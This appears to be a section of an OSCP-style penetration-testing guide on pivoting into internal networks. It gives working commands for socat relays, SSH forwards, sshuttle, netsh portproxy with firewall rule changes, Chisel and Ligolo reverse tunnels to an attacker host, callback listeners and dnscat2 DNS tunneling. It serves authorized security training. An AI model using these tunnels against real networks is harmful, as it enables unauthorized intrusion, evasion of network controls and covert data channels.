6.1.3 Reach internal services

Requires: A usable pivot process/identity and explicit scope; both forward and return directions must be understood

Action class: May start listeners and change routing/forwarding state.

Stop/verify: Record source, pivot, destination, protocol, listener placement and required return path.

Failure/next check: Interface presence is not proof of destination reachability. Routing/firewall and application permission are independent.

Blocks: 13; study fundamentals before 10–12. Operational procedure | Quick sheet

6.1.3.6.1 Purpose and result

A reachable local/pivot port carrying one destination service.

6.1.3.6.2 Recognition clues

One reachable pivot can connect to one internal TCP destination.

6.1.3.6.2.1 Find the clue from your starting access

Where to investigate: From pivot-state evidence identify one fixed TCP destination and where the assessment client can reach a pivot listener.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

ip route get TARGET
ss -lnt

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Pivot -> internal TARGET:PORT: verified
Assessment source -> pivot listener: candidate
Needed protocol: TCP, one fixed destination

Recognize this detail: A single TCP service can fit a fixed relay without assuming a full routed network.

Still missing before method selection: Confirm both legs, bind address/permission and any additional dynamic ports or return path.

If you do not yet have this clue: start with Discover pivot interfaces, routes and internal service context.

6.1.3.6.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity.

6.1.3.6.4 Discover and verify prerequisites

ss -lnt
ip route get TARGET

6.1.3.6.5 Why it works

A fixed TCP relay transports bytes to a predetermined endpoint. It does not automatically carry UDP, DNS, dynamic RPC or callbacks.

6.1.3.6.6 Execute and choose variants

On a Linux pivot, expose one internal TCP service:

socat -ddd TCP-LISTEN:LOCAL_PORT,bind=PIVOT_REACHABLE_IP,reuseaddr,fork \
  TCP:INTERNAL_HOST:INTERNAL_PORT

Loopback-only relay for another local tunnel stage:

socat -ddd TCP-LISTEN:LOCAL_PORT,bind=127.0.0.1,reuseaddr,fork \
  TCP:INTERNAL_HOST:INTERNAL_PORT

Verify the listener on the pivot with ss -lntp | grep LOCAL_PORT. Run nc -nvz PIVOT_REACHABLE_IP LOCAL_PORT from the intended client to test client-to-pivot reachability. These checks run on different machines:

ss -lntp | grep LOCAL_PORT
nc -nvz PIVOT_REACHABLE_IP LOCAL_PORT

6.1.3.6.7 Worked example — hypothetical

Observation: an internal database is reachable from the pivot. Test: create the selected fixed relay and use its listener from the assessment source. Illustrative output: the database handshake succeeds. Interpretation: validate its own credentials/rights next.

6.1.3.6.8 Verify the result

Verify application behavior through the listener and keep the transport's destination explicit.

6.1.3.6.9 Failure and fallback

A working listener with no application response can be a pivot-to-destination failure. Dynamic RPC may need a different route.

6.1.3.6.10 Continue from the interpreted result

Blocks: 13; study fundamentals before 10–12. Operational procedure | Operational procedure | Quick sheet

6.1.3.7.1 Purpose and result

A client-side port carrying the chosen internal TCP service.

6.1.3.7.2 Recognition clues

SSH reaches a server that can access the needed internal service.

6.1.3.7.2.1 Find the clue from your starting access

Where to investigate: Use accepted SSH and the SSH server's verified reachability to a selected internal/loopback service; identify where the local client needs its listener.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

ssh -v -p SSH_PORT USER@PIVOT
ss -lnt

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Assessment client -> SSH server: accepted
SSH server -> 127.0.0.1:INTERNAL_PORT: needed
Desired listener: assessment client

Recognize this detail: Client-side listener plus server-side destination is the -L direction; destination loopback belongs to the SSH server.

Still missing before method selection: Verify forwarding policy, local bind and server-to-destination application access.

If you do not yet have this clue: start with Use SSH passwords, keys and forwarding-capable access.

6.1.3.7.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: Accepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route.

6.1.3.7.4 Discover and verify prerequisites

ssh -v -p SSH_PORT USER@PIVOT
ss -lnt

6.1.3.7.5 Why it works

With -L the listener is on the SSH client and the remote destination is reached from the SSH server. localhost in the destination therefore means the server's loopback.

6.1.3.7.6 Execute and choose variants

Run on Kali when Kali can SSH to the pivot:

ssh -N \
  -L 127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT \
  -p SSH_PORT USER@PIVOT \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

Use the listener as though it were the internal service:

nc -nvz 127.0.0.1 LOCAL_PORT
curl -v http://127.0.0.1:LOCAL_PORT/

Add reliability and attributable failure to transport-only sessions:

-N
-o ExitOnForwardFailure=yes
-o ServerAliveInterval=30
-o ServerAliveCountMax=3

ExitOnForwardFailure proves requested listening sockets were established. It does not prove the final destination is reachable through them.

6.1.3.7.7 Worked example — hypothetical

Observation: a database listens only on the SSH server's loopback. Test: use the documented local forward to that loopback port. Illustrative output: the client-side database connection works. Interpretation: authenticate using database-specific credentials.

6.1.3.7.8 Verify the result

Verify listening address plus the destination application's handshake and preserve correct hostname/SPN semantics when needed.

6.1.3.7.9 Failure and fallback

Administrative-prohibited indicates SSH forwarding policy; address-in-use is a local bind problem; timeout can be the remote leg.

6.1.3.7.10 Continue from the interpreted result

Blocks: 13; study fundamentals before 10–12. Operational procedure | Quick sheet

6.1.3.8.1 Purpose and result

A client-side SOCKS proxy for selected destination connections.

6.1.3.8.2 Recognition clues

Several internal TCP services need access through one SSH server.

6.1.3.8.2.1 Find the clue from your starting access

Where to investigate: From accepted SSH and a mapped internal service set determine whether each required client can use a SOCKS TCP connection.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

ssh -v -p SSH_PORT USER@PIVOT

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

SSH path: accepted
Needed destinations: several TCP services
Client proxy support: inspect

Recognize this detail: Multiple client-selected TCP destinations suggest a dynamic SOCKS listener rather than many fixed forwards.

Still missing before method selection: Check SSH forwarding, listener bind, native/intercepted client support and DNS resolution location.

If you do not yet have this clue: start with Use SSH passwords, keys and forwarding-capable access.

6.1.3.8.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: SSH forwarding allowed and clients that support SOCKS or compatible interception; DNS behavior must be chosen explicitly.

6.1.3.8.4 Discover and verify prerequisites

ssh -v -p SSH_PORT USER@PIVOT

6.1.3.8.5 Why it works

A SOCKS client requests each destination through the SSH server. Raw packets and arbitrary UDP are not automatically proxied by ordinary TCP SOCKS wrappers.

6.1.3.8.6 Execute and choose variants

ssh -N -D 127.0.0.1:1080 -p SSH_PORT USER@PIVOT \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

OpenSSH acts as a SOCKS4/5 server. The pivot makes destination connections selected by each SOCKS request.

6.1.3.8.7 Worked example — hypothetical

Observation: multiple web/SMB services are reachable from the SSH server. Test: create the dynamic listener and send a proxy-aware HTTP request. Illustrative output: the internal page loads through SOCKS. Interpretation: use only compatible TCP clients and validate DNS separately.

6.1.3.8.8 Verify the result

Verify one application through the proxy, then check each client's actual proxy and DNS behavior.

6.1.3.8.9 Failure and fallback

A working proxy does not make raw SYN/UDP scans viable. Use connect-based clients or a suitable routed tunnel.

6.1.3.8.10 Continue from the interpreted result

Blocks: 13; study fundamentals before 10–12. Operational procedure | Quick sheet

6.1.3.9.1 Purpose and result

A server-side listener forwarding to a destination reached from the SSH client.

6.1.3.9.2 Recognition clues

The useful side can initiate SSH outward but cannot accept an inbound management connection.

6.1.3.9.2.1 Find the clue from your starting access

Where to investigate: Identify an outbound-only pivot-to-SSH-server path and a service reached from that SSH client/pivot; decide where the remote listener is needed.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

ssh -v USER@SSH_SERVER

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Pivot/client -> SSH server: allowed
SSH server -> pivot inbound: blocked
Desired listener: SSH server

Recognize this detail: The useful listener is on the SSH server while the destination is reached from the client side: a remote forward candidate.

Still missing before method selection: Verify remote-forward permission, server bind/GatewayPorts policy and pivot-side destination reachability.

If you do not yet have this clue: start with Discover pivot interfaces, routes and internal service context.

6.1.3.9.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: Outbound SSH route, accepted identity, server forwarding/GatewayPorts policy and reachability to the chosen client-side destination.

6.1.3.9.4 Discover and verify prerequisites

ssh -v USER@SSH_SERVER
ss -lnt

6.1.3.9.5 Why it works

With -R the listener is on the SSH server. Its public exposure depends on bind address/server policy; target localhost is evaluated on the SSH client side.

6.1.3.9.6 Execute and choose variants

Run on a pivot that can initiate an SSH connection back to Kali:

ssh -N \
  -R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT \
  -p KALI_SSH_PORT KALI_USER@LHOST \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

Kali then uses:

nc -nvz 127.0.0.1 KALI_PORT

6.1.3.9.7 Worked example — hypothetical

Observation: a pivot can initiate SSH to the assessment host. Test: remote-forward a selected internal service. Illustrative output: the assessment-side listener reaches that service via the pivot. Interpretation: connect using the destination service's identity rules.

6.1.3.9.8 Verify the result

Verify listener placement/bind and actual destination application response.

6.1.3.9.9 Failure and fallback

A loopback-only server listener is not reachable by another host. Check remote-forward permission and binding before changing service credentials.

6.1.3.9.10 Continue from the interpreted result

Blocks: 13; study fundamentals before 10–12. Operational procedure | Quick sheet

6.1.3.10.1 Purpose and result

A server-side SOCKS listener whose connections exit from the SSH client/pivot.

6.1.3.10.2 Recognition clues

Only the pivot can initiate SSH, but several client-selected internal destinations are needed.

6.1.3.10.2.1 Find the clue from your starting access

Where to investigate: For an outbound-only SSH path identify the need for several client-selected destinations and inspect the actual SSH client implementation/version.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

ssh -V

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

SSH client: supported current OpenSSH
Outbound pivot -> server: allowed
Server-side SOCKS listener: required

Recognize this detail: Remote listener placement plus per-connection SOCKS destination selection suggests remote dynamic forwarding.

Still missing before method selection: Check implementation support, remote-forward policy, listener binding and proxy-client/DNS compatibility.

If you do not yet have this clue: start with Expose an SSH-client-side destination through a server-side remote listener.

6.1.3.10.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: A supporting OpenSSH client, allowed remote forwarding, listener binding and SOCKS-compatible tool clients.

6.1.3.10.4 Discover and verify prerequisites

ssh -V

6.1.3.10.5 Why it works

Remote dynamic forwarding reverses listener placement while preserving per-connection SOCKS destination selection. OpenSSH implementation/version support must be checked.

6.1.3.10.6 Execute and choose variants

Run on the pivot:

ssh -N -R 127.0.0.1:1080 -p KALI_SSH_PORT KALI_USER@LHOST \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

The SOCKS listener appears on Kali and destination connections exit through the pivot. Remote dynamic forwarding requires OpenSSH 7.6 or later on the client that issues -R. Run ssh -V on the pivot (the SSH client). Run ss -lntp | grep 1080 on Kali (the SSH server hosting the SOCKS listener). These checks run on different machines; do not paste both into one terminal:

ssh -V
ss -lntp | grep 1080

6.1.3.10.7 Worked example — hypothetical

Observation: the pivot has a supported OpenSSH client and outbound SSH. Test: establish the documented remote dynamic listener and a single proxy-aware request. Illustrative output: the internal page returns. Interpretation: use the proxy with explicit DNS and TCP limitations.

6.1.3.10.8 Verify the result

Verify the listener's actual location and source-side exit by application evidence.

6.1.3.10.9 Failure and fallback

Unsupported client syntax or forwarding policy is different from destination filtering. Use a fixed remote forward if it satisfies the task.

6.1.3.10.10 Continue from the interpreted result

Requires: Client/proxy transport compatibility, correct proxy configuration and controlled name resolution

Action class: May start listeners and change routing/forwarding state.

Stop/verify: Verify destination application and resolver behavior through the intended path.

Failure/next check: Proxy interception is not universal. Use native proxy support, an SSH jump for SSH, or routed tunneling when the protocol requires it.

Host pivot
  HostName PIVOT
  User PIVOT_USER

Host internal
  HostName INTERNAL_HOST
  User TARGET_USER
  ProxyJump pivot

ssh internal
scp FILE internal:DESTINATION_PATH

Blocks: 13; study fundamentals before 10–12. Operational procedure | Quick sheet

6.1.3.12.1 Purpose and result

A verified transparent route for the chosen supported traffic.

6.1.3.12.2 Recognition clues

Multiple internal TCP destinations need transparent application access over SSH.

6.1.3.12.2.1 Find the clue from your starting access

Where to investigate: Identify several internal TCP destinations, existing SSH access and whether the local/remote privilege/runtime requirements can be met.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

ssh -v USER@PIVOT
python3 --version
ip route

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

SSH path: accepted
Local routing/firewall context: inspect
Remote Python support: inspect in SSH context

Recognize this detail: An SSH carrier and compatible endpoints make a transparent selected-subnet route a candidate; local Python output alone does not prove the remote runtime.

Still missing before method selection: Verify local route/firewall permissions, remote runtime, supported transport/mode and explicitly selected subnet/DNS behavior.

If you do not yet have this clue: start with Discover pivot interfaces, routes and internal service context.

6.1.3.12.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: Working SSH/Python environment, local routing/firewall privileges and explicitly selected supported traffic/subnets.

6.1.3.12.4 Discover and verify prerequisites

ssh -v USER@PIVOT
python3 --version

6.1.3.12.5 Why it works

sshuttle redirects selected application traffic rather than providing an unrestricted raw-packet VPN. DNS handling and supported transports depend on its selected mode/platform.

6.1.3.12.6 Execute and choose variants

sudo sshuttle --dns \
  -r SSH_USER@PIVOT:SSH_PORT \
  INTERNAL_SUBNET ANOTHER_SUBNET

Through a previously established local forward to the SSH pivot:

sudo sshuttle --dns \
  -r SSH_USER@127.0.0.1:LOCAL_SSH_PORT \
  INTERNAL_SUBNET

6.1.3.12.7 Worked example — hypothetical

Observation: repeated proxy configuration is hindering several TCP clients. Test: route the selected subnet with the documented sshuttle settings and confirm a service. Illustrative output: a direct-style TCP application reaches the destination. Interpretation: validate DNS and unsupported transports separately.

6.1.3.12.8 Verify the result

Verify the actual application path and ensure only assigned subnets are selected.

6.1.3.12.9 Failure and fallback

Missing local privilege, remote runtime or unsupported traffic can break this option. Use fixed forwards/SOCKS or a compatible routed tunnel.

6.1.3.12.10 Continue from the interpreted result

Blocks: 13; study fundamentals before 10–12. Operational procedure | Quick sheet

6.1.3.13.1 Purpose and result

A selected TCP service reachable through the Windows pivot.

6.1.3.13.2 Recognition clues

The pivot is Windows and available networking utilities constrain the route.

6.1.3.13.2.1 Find the clue from your starting access

Where to investigate: From a Windows pivot inspect native/available tunnel utilities, its route to the destination and the rights needed by the selected implementation.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

Get-Command ssh,plink,netsh -ErrorAction SilentlyContinue
Get-Service iphlpsvc
Test-NetConnection TARGET -Port PORT

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

ssh: available
iphlpsvc: Running
Destination TcpTestSucceeded: True
Administrative portproxy right: not yet known

Recognize this detail: Windows has a carrier/destination candidate; Netsh administrative state and user-space SSH requirements differ.

Still missing before method selection: Choose the supported tool, verify listener/bind/firewall and correct connection direction; check its exact rights.

If you do not yet have this clue: start with Discover pivot interfaces, routes and internal service context.

6.1.3.13.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: Compatible OpenSSH/Plink authentication or administrative Netsh/IP Helper context; correct listener and destination paths.

6.1.3.13.4 Discover and verify prerequisites

Get-Command ssh,plink,netsh -ErrorAction SilentlyContinue
Get-Service iphlpsvc
Test-NetConnection TARGET -Port PORT

6.1.3.13.5 Why it works

OpenSSH/Plink carry SSH tunnels; Netsh portproxy provides a fixed TCP mapping and does not authenticate to the destination. Their rights and service prerequisites differ.

6.1.3.13.6 Execute and choose variants

6.1.3.13.6.1.1 Forward a selected TCP service from Windows Built-in OpenSSH client

where ssh.exe
ssh.exe -V
ssh.exe -N -R 127.0.0.1:1080 KALI_USER@LHOST -p KALI_SSH_PORT -o ExitOnForwardFailure=yes -o ServerAliveInterval=30

The same -L, -D, -R, ProxyJump and ProxyCommand concepts apply to current Windows OpenSSH. Remote dynamic forwarding depends on the client version.

6.1.3.13.6.1.2 Forward a selected TCP service from Windows Plink

Remote fixed forward from Windows to Kali:

plink.exe -ssh -N -batch -hostkey "HOST_KEY_FINGERPRINT" ^
  -l KALI_USER -pwfile C:\PATH\kali-password.txt ^
  -R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT ^
  -P KALI_SSH_PORT LHOST

Local dynamic SOCKS on Windows:

plink.exe -ssh -N -batch -hostkey "HOST_KEY_FINGERPRINT" ^
  -l SSH_USER -pwfile C:\PATH\ssh-password.txt ^
  -D 127.0.0.1:1080 -P SSH_PORT PIVOT

6.1.3.13.6.1.3 Forward a selected TCP service from Windows Netsh portproxy

Elevated Windows shell:

netsh interface portproxy add v4tov4 ^
  listenaddress=PIVOT_REACHABLE_IP listenport=LOCAL_PORT ^
  connectaddress=INTERNAL_HOST connectport=INTERNAL_PORT

netsh interface portproxy show all
netstat -ano -p tcp | findstr ":LOCAL_PORT"

If the existing firewall policy does not already allow the listener and a change is authorized:

netsh advfirewall firewall add rule name="OSCP Pivot LOCAL_PORT" ^
  dir=in action=allow protocol=TCP localport=LOCAL_PORT

Cleanup:

netsh interface portproxy delete v4tov4 ^
  listenaddress=PIVOT_REACHABLE_IP listenport=LOCAL_PORT

netsh advfirewall firewall delete rule name="OSCP Pivot LOCAL_PORT"

6.1.3.13.7 Worked example — hypothetical

Observation: a Windows pivot can reach an internal service. Test: choose an available method whose privilege and direction conditions hold. Illustrative output: the selected forward carries the application's handshake. Interpretation: test destination authorization independently.

6.1.3.13.8 Verify the result

Verify actual listener, route and application, then remove created portproxy/firewall state as appropriate.

6.1.3.13.9 Failure and fallback

Missing admin rights blocks Netsh changes without disproving a user-space SSH route; firewall/bind failures are independent.

6.1.3.13.10 Continue from the interpreted result

Blocks: 13; study fundamentals before 10–12. Operational procedure | Operational procedure | Operational procedure | Quick sheet

6.1.3.14.1 Purpose and result

A server-side SOCKS or fixed-port route into pivot-reachable services.

6.1.3.14.2 Recognition clues

A pivot can make outbound HTTP/WebSocket connections to the tunnel server.

6.1.3.14.2.1 Find the clue from your starting access

Where to investigate: Map an outbound pivot-to-server HTTP/WebSocket path and identify whether the assessment side needs a fixed listener or SOCKS access.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

chisel --version
chisel server --help
chisel client --help

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Compatible peers: inspect versions
Direction: pivot client -> assessment server
Required remote: R: fixed destination or R:socks

Recognize this detail: The outbound carrier and server-side listener requirement identify a reverse-tunnel topology.

Still missing before method selection: Verify server reverse mode, fingerprint, carrier upgrade, listener bind and pivot-to-destination compatibility.

If you do not yet have this clue: start with Discover pivot interfaces, routes and internal service context.

6.1.3.14.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: Compatible reviewed client/server, server reverse mode, reachable server port and pivot-to-destination access.

6.1.3.14.4 Discover and verify prerequisites

chisel --version
chisel server --help
chisel client --help

6.1.3.14.5 Why it works

The Chisel client initiates the carrier connection. A reverse remote specifies a listener on the server; SOCKS and fixed destinations provide different connection selection.

6.1.3.14.6 Execute and choose variants

On Kali:

chisel server --reverse --port CHISEL_PORT

Record the server fingerprint. On the pivot:

chisel client --fingerprint 'SERVER_FINGERPRINT' \
  LHOST:CHISEL_PORT R:127.0.0.1:1080:socks

R:socks is the shorter equivalent using the default server-side 127.0.0.1:1080 listener. Traffic sent to Kali's SOCKS listener exits through the Chisel client/pivot.

6.1.3.14.6.1 Kali

# Kali
chisel server --reverse --port CHISEL_PORT

6.1.3.14.6.2 Pivot: expose an internal service on Kali loopback

# Pivot: expose an internal service on Kali loopback
chisel client --fingerprint 'SERVER_FINGERPRINT' LHOST:CHISEL_PORT \
  R:127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT

chisel --version
chisel server --help
chisel client --help
ss -lntp

6.1.3.14.7 Worked example — hypothetical

Observation: outbound SSH is unavailable but the permitted HTTP path works. Test: establish the documented reverse tunnel and verify one application. Illustrative output: the server-side listener reaches the internal service. Interpretation: use the selected proxy/fixed destination and test DNS separately.

6.1.3.14.8 Verify the result

Verify tunnel establishment and end-to-end application behavior; a connected carrier alone is insufficient.

6.1.3.14.9 Failure and fallback

WebSocket/proxy filtering, reverse mode, listener collision and destination denial are different failures.

6.1.3.14.10 Continue from the interpreted result

Blocks: 13; study fundamentals before 10–12. Operational procedure | Operational procedure | Quick sheet

6.1.3.15.1 Purpose and result

A forward proxy route with documented TCP/UDP behavior.

6.1.3.15.2 Recognition clues

The assessment-side client can reach a pivot-side tunnel server.

6.1.3.15.2.1 Find the clue from your starting access

Where to investigate: Identify which side can reach a tunnel server, then inspect the exact peer version and whether TCP or SOCKS5 UDP ASSOCIATE is required.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

chisel --version
chisel client --help

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Tool-side client -> pivot server: possible
Needed transport: TCP, or explicitly supported UDP-aware mode
Ordinary ProxyChains: TCP-only

Recognize this detail: Forward placement and actual client transport determine the mode; a UDP-capable tunnel binary does not make every wrapper UDP-capable.

Still missing before method selection: Verify compatible peers, server SOCKS setting, listener route and the real application's UDP/TCP support.

If you do not yet have this clue: start with Discover pivot interfaces, routes and internal service context.

6.1.3.15.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: Compatible client/server roles, reachable carrier, correctly placed SOCKS listener and explicitly supported UDP-aware mode when required.

6.1.3.15.4 Discover and verify prerequisites

chisel --version
chisel client --help

6.1.3.15.5 Why it works

Forward and reverse Chisel place listeners differently. Ordinary SOCKS clients/ProxyChains do not acquire UDP support merely because a tunnel binary offers a UDP-aware mode.

6.1.3.15.6 Execute and choose variants

6.1.3.15.6.1 Pivot/server side

# Pivot/server side
chisel server --socks5 --port CHISEL_PORT

6.1.3.15.6.2 Kali/client side

# Kali/client side
chisel client --fingerprint 'SERVER_FINGERPRINT' PIVOT:CHISEL_PORT \
  127.0.0.1:1080:socks

Current upstream Chisel distinguishes:

socks / R:socks       -> SOCKS5 TCP CONNECT only
udpsocks / R:udpsocks -> TCP CONNECT plus SOCKS5 UDP ASSOCIATE

# Requires compatible current peers
chisel client --fingerprint 'SERVER_FINGERPRINT' \
  LHOST:CHISEL_PORT R:127.0.0.1:1080:udpsocks

6.1.3.15.7 Worked example — hypothetical

Observation: forward SOCKS works for TCP but a UDP-dependent client fails. Test: inspect Chisel version and that client's UDP/SOCKS support. Illustrative output: the client is TCP-only. Interpretation: select a compatible routed/UDP route instead of assuming the tunnel carries the traffic.

6.1.3.15.8 Verify the result

Verify the actual required transport end to end, with correct listener/exit placement.

6.1.3.15.9 Failure and fallback

Version syntax, client compatibility and UDP destination reachability must all hold. Retain the known-working TCP path.

6.1.3.15.10 Continue from the interpreted result

Blocks: 13; study fundamentals before 10–12. Operational procedure | Quick sheet

6.1.3.16.1 Purpose and result

A verified routed connection path including supported loopback/listener features.

6.1.3.16.2 Recognition clues

Several protocols/subnets require a route-style interface through an agent.

6.1.3.16.2.1 Find the clue from your starting access

Where to investigate: Use the pivot's route/interface evidence and the intended application's transport needs to decide whether a routed interface is appropriate.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

ip route
ip link
./proxy -h

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Existing routes: SELECTED_SUBNET absent
Required client: unsuitable for current SOCKS path
Local interface/route permissions: inspect

Recognize this detail: A selected internal network and proxy-incompatible client suggest a route-style agent, subject to its own transport behavior.

Still missing before method selection: Verify compatible proxy/agent, local privileges, carrier, selected route/interface, DNS and any separate reverse listener.

If you do not yet have this clue: start with Discover pivot interfaces, routes and internal service context.

6.1.3.16.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: Compatible proxy/agent, permitted local interface/route management, reachable carrier and selected assigned subnet.

6.1.3.16.4 Discover and verify prerequisites

ip route
ip link
./proxy -h

6.1.3.16.5 Why it works

A TUN-style interface lets applications use a route rather than per-tool SOCKS settings. Agent loopback aliases and reverse listeners solve different destination/callback problems and require their documented configuration.

6.1.3.16.6 Execute and choose variants

6.1.3.16.6.1.1 Establish the Ligolo proxy-agent connection Proxy and agent

On Kali:

./proxy -selfcert -laddr 0.0.0.0:LIGOLO_PORT

In the proxy console, obtain the fingerprint:

certificate_fingerprint

On the pivot:

./agent -connect LHOST:LIGOLO_PORT -accept-fingerprint CERT_FINGERPRINT

-ignore-cert is a controlled-lab/debug fallback, not the baseline.

6.1.3.16.6.1.2 Create the interface and selected route needed by the pivot Current managed interface and route

In the Ligolo console:

interface_create --name ligolo
session
ifconfig
interface_add_route --name ligolo --route INTERNAL_SUBNET
tunnel_start --tun ligolo

Manual Linux alternative:

sudo ip tuntap add user "$USER" mode tun ligolo
sudo ip link set ligolo up
sudo ip route add INTERNAL_SUBNET dev ligolo

Then use normal clients:

ip route get INTERNAL_HOST
nmap -sT -Pn -n -p PORTS INTERNAL_HOST
curl -v http://INTERNAL_HOST:PORT/

6.1.3.16.6.1.3 Reach a service bound to the pivot host's loopback interface Pivot loopback services

Ligolo maps its special 240.0.0.0/4 range to the selected agent's loopback. Add one narrow route:

sudo ip route add 240.0.0.1/32 dev ligolo
nmap -sT -Pn -n -p PORTS 240.0.0.1

Use this only when the desired service is bound to 127.0.0.1 on the agent.

6.1.3.16.6.1.4 Callback or file-server listener on the agent

In the selected Ligolo session:

listener_add --addr 0.0.0.0:PIVOT_PORT --to 127.0.0.1:KALI_PORT --tcp
listener_list

Kali listener:

ncat -lvn 127.0.0.1 KALI_PORT

An internal target connects to PIVOT_REACHABLE_IP:PIVOT_PORT; Ligolo relays it to Kali's loopback listener. Cleanup:

listener_stop LISTENER_ID

6.1.3.16.7 Worked example — hypothetical

Observation: SOCKS transport limits block the intended client. Test: create the documented selected route and validate one destination service. Illustrative output: the service is reachable through the interface. Interpretation: verify name resolution and any callback listener independently.

6.1.3.16.8 Verify the result

Verify route/interface ownership, destination application and each necessary reverse listener.

6.1.3.16.9 Failure and fallback

Overlapping routes, wrong session/interface or absent privilege can create a misleading connected agent without a working path.

6.1.3.16.10 Continue from the interpreted result

Blocks: 13; study fundamentals before 10–12. Operational procedure | Quick sheet

6.1.3.17.1 Purpose and result

A verified constrained DNS carrier and its explicitly configured access capabilities.

6.1.3.17.2 Recognition clues

DNS is an available carrier while simpler permitted routes are unavailable.

6.1.3.17.2.1 Find the clue from your starting access

Where to investigate: Use known carrier restrictions and an explicitly approved controlled domain to inspect delegation and DNS reachability.

Discovery action — reference example:

Access/context: A pivot identity/process or reachable SSH service and a drawn source-to-destination path

dig DOMAIN NS

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Delegated zone: CONTROLLED_DOMAIN
Authoritative server: CONTROLLED_NS
Resolver path from pivot: not yet verified

Recognize this detail: Delegation is an infrastructure prerequisite; an NS record alone does not prove ownership or an operational tunnel.

Still missing before method selection: Confirm authorized control, resolver path, compatible client/server/runtime and supported intended operation.

If you do not yet have this clue: start with Discover pivot interfaces, routes and internal service context.

6.1.3.17.3 Prerequisites

Starting access: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Required conditions: Controlled/delegated domain or supported direct setup, reachable DNS path, compatible server/client and allowed execution.

6.1.3.17.4 Discover and verify prerequisites

dig DOMAIN NS

6.1.3.17.5 Why it works

DNS tunneling carries data through query/response infrastructure; resolver behavior, delegation, size and latency matter. A DNS callback does not automatically provide a usable full network route.

6.1.3.17.6 Execute and choose variants

Use only when ordinary transports are unavailable and DNS is demonstrably permitted. This is a conditional advanced route, but it remains in the current official BOK.

Prerequisites:

• command execution sufficient to run a compatible client;
• either authoritative control/NS delegation for TUNNEL_DOMAIN or direct UDP/53 reachability to the server;
• a resolver chain that forwards the chosen domain externally;
• permission to bind/listen on the required DNS port;
• tolerance for low throughput and conspicuous DNS patterns.

Authoritative-domain mode:

dnscat2-server --secret=SHARED_SECRET TUNNEL_DOMAIN

Client:

./dnscat --secret=SHARED_SECRET TUNNEL_DOMAIN

Direct DNS-server mode shown by the server's own usage output:

./dnscat --dns server=DNS_SERVER,port=53 --secret=SHARED_SECRET

Server console:

windows
window -i SESSION_ID
help

6.1.3.17.7 Worked example — hypothetical

Observation: a restricted host can resolve an intentionally controlled delegated zone. Test: validate delegation and the documented carrier handshake. Illustrative output: the session establishes but latency is high. Interpretation: use only a justified supported operation or prefer another available route.

6.1.3.17.8 Verify the result

Verify the actual carrier and intended forwarded action; retain delegation and connectivity prerequisites.

